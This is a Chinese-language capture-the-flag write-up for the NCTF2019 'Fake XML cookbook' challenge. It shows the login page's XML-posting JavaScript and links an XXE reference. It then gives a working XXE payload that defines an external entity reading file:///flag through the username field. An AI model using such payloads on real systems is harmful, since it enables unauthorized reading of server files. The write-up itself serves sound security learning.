[NCTF2019]Fake XML cookbook
- 首先我们进入页面
-
<script type='text/javascript'> function doLogin(){ var username = $("#username").val(); var password = $("#password").val(); if(username == "" || password == ""){ alert("Please enter the username and password!"); return; } var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; $.ajax({ type: "POST", url: "doLogin.PHP", contentType: "application/xml;charset=utf-8", data: data, dataType: "xml", anysc: false, success: function (result) { var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue; var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue; if(code == "0"){ $(".msg").text(msg + " login fail!"); }else if(code == "1"){ $(".msg").text(msg + " login success!"); }else{ $(".msg").text("error:" + msg); } }, error: function (XMLHttpRequest,textStatus,errorThrown) { $(".msg").text(errorThrown + ':' + textStatus); } }); } </script>
-
然后看到题目XML联想到XXE漏洞
XXE漏洞参考链接:https://xz.aliyun.com/t/6887#toc-5
然后我们根据上面链接,直接构造payload
利用这个payload可以进行任意本地文件读取
flag一般在
/
目录下或者/var/www/html/
下,我们直接读取/
目录下的flagpayload:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY penson SYstem "file:///flag" > //用file协议读取 ]> <user><username>&penson;</username><password>penson</password></user>
最后我们得到flag:
-
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。